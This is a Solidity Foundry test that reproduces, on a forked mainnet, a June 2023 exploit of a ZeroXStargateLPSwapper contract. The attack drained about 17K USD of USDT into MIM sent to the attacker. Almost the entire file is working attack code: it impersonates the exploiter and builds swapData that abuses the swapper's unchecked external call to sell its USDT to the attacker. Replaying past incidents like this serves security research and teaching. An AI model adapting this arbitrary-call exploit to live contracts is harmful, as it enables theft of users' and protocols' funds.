src/test/2023-06/MIMSpell_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~17K USD$
8// Attacker : https://etherscan.io/address/0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3
9// Attack Contract : https://etherscan.io/address/0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a
10// Vulnerable Contract : https://etherscan.io/address/0xa5564a2d1190a141cac438c9fde686ac48a18a79
11// Attack Tx : https://etherscan.io/tx/0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3
12 
13// @Analysis
14// https://twitter.com/hexagate_/status/1671188024607100928?cxt=HHwWgMC--e2poLEuAAAA
15 
16interface IDegenBox {
17    function deposit(
18        address token_,
19        address from,
20        address to,
21        uint256 amount,
22        uint256 share
23    ) external returns (uint256 amountOut, uint256 shareOut);
24}
25 
26interface ISwapper {
27    function swap(
28        address from,
29        address to,
30        address recipient,
31        uint256 shareToMin,
32        uint256 shareFrom,
33        bytes calldata swapData
34    ) external;
35}
36 
37contract MIMTest is Test {
38    struct CurveData {
39        address curveAddress;
40        bytes4 exchangeFunctionSelector;
41        int128 fromCoinIdx;
42        int128 toCoinIdx;
43    }
44 
45    address CurveAddress = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;
46    bytes4 CurveFunctionSelector = bytes4(keccak256(bytes("exchange_underlying(int128,int128,uint256,uint256)")));
47    int128 FromCoinIdx = 3;
48    int128 ToCoinIdx = 0;
49 
50    // Stargate Tether USD Token
51    IERC20 SUSDT = IERC20(0x38EA452219524Bb87e18dE1C24D3bB59510BD783);
52    // Magic Internet Money Token
53    IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
54    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
55    IDegenBox DegenBox = IDegenBox(0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce);
56    ISwapper ZeroXStargateLPSwapper = ISwapper(0xa5564a2d1190a141CAC438c9fde686aC48a18A79);
57    address private constant curveLiquidityProvider = 0x561B94454b65614aE3db0897B74303f4aCf7cc75;
58    // Exploiter EOA address
59    address private constant exploiter = 0x9d4fD681AacBc49D79c6405C9aA70d1afd5aCCF3;
60    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
61 
62    function setUp() public {
63        cheats.createSelectFork("mainnet", 17_521_638);
64        deal(address(SUSDT), exploiter, 3e6);
65        cheats.startPrank(exploiter);
66        SUSDT.approve(address(this), type(uint256).max);
67        cheats.stopPrank();
68        cheats.label(address(SUSDT), "SUSDT");
69        cheats.label(address(MIM), "MIM");
70        cheats.label(address(DegenBox), "DegenBox");
71        cheats.label(address(ZeroXStargateLPSwapper), "ZeroXStargateLPSwapper");
72        cheats.label(curveLiquidityProvider, "CurveLiquidityProvider");
73        cheats.label(exploiter, "Exploiter");
74    }
75 
76    // "Transaction" - name taken from the function name of the exploiter contract
77    function testTransaction() public {
78        emit log_named_decimal_uint(
79            "Exploiter's amount of MIM tokens before attack", MIM.balanceOf(exploiter), MIM.decimals()
80        );
81 
82        SUSDT.transferFrom(exploiter, address(this), 3e6);
83        SUSDT.approve(address(DegenBox), type(uint256).max);
84        DegenBox.deposit(address(SUSDT), address(this), address(ZeroXStargateLPSwapper), 0, 2_400_000);
85 
86        // Creating swapData which will be used for calling proxy contract inside vulnerable swap() function.
87        // bytes
88        //     memory auxiliaryData = hex"0000000000000000000000005a6a4d54456819380173272a5e8e9b9904bdf41ba6417ed60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000";
89        bytes memory auxiliaryDatas = abi.encode(CurveAddress, CurveFunctionSelector, FromCoinIdx, ToCoinIdx);
90        bytes memory data = abi.encodeWithSignature(
91            "sellToLiquidityProvider(address,address,address,address,uint256,uint256,bytes)",
92            address(USDT), // inputToken
93            address(MIM), // outputToken
94            curveLiquidityProvider, // provider
95            exploiter, // recipient
96            USDT.balanceOf(address(ZeroXStargateLPSwapper)), // sellAmount
97            16_716_883_658_670_000_000_000, // minBuyAmount
98            auxiliaryDatas // auxiliaryData
99        );
100 
101        // By making call to zeroXEchangeProxy.call(swapData) inside swap function,
102        // exploiter could swap the USDT owned by ZeroXStargateLPSwapper contract to MIM tokens in which the recipient is the attacker
103        ZeroXStargateLPSwapper.swap(address(this), address(this), address(this), 0, 1_920_000, data);
104 
105        emit log_named_decimal_uint(
106            "Exploiter's amount of MIM tokens after attack", MIM.balanceOf(exploiter), MIM.decimals()
107        );
108    }
109}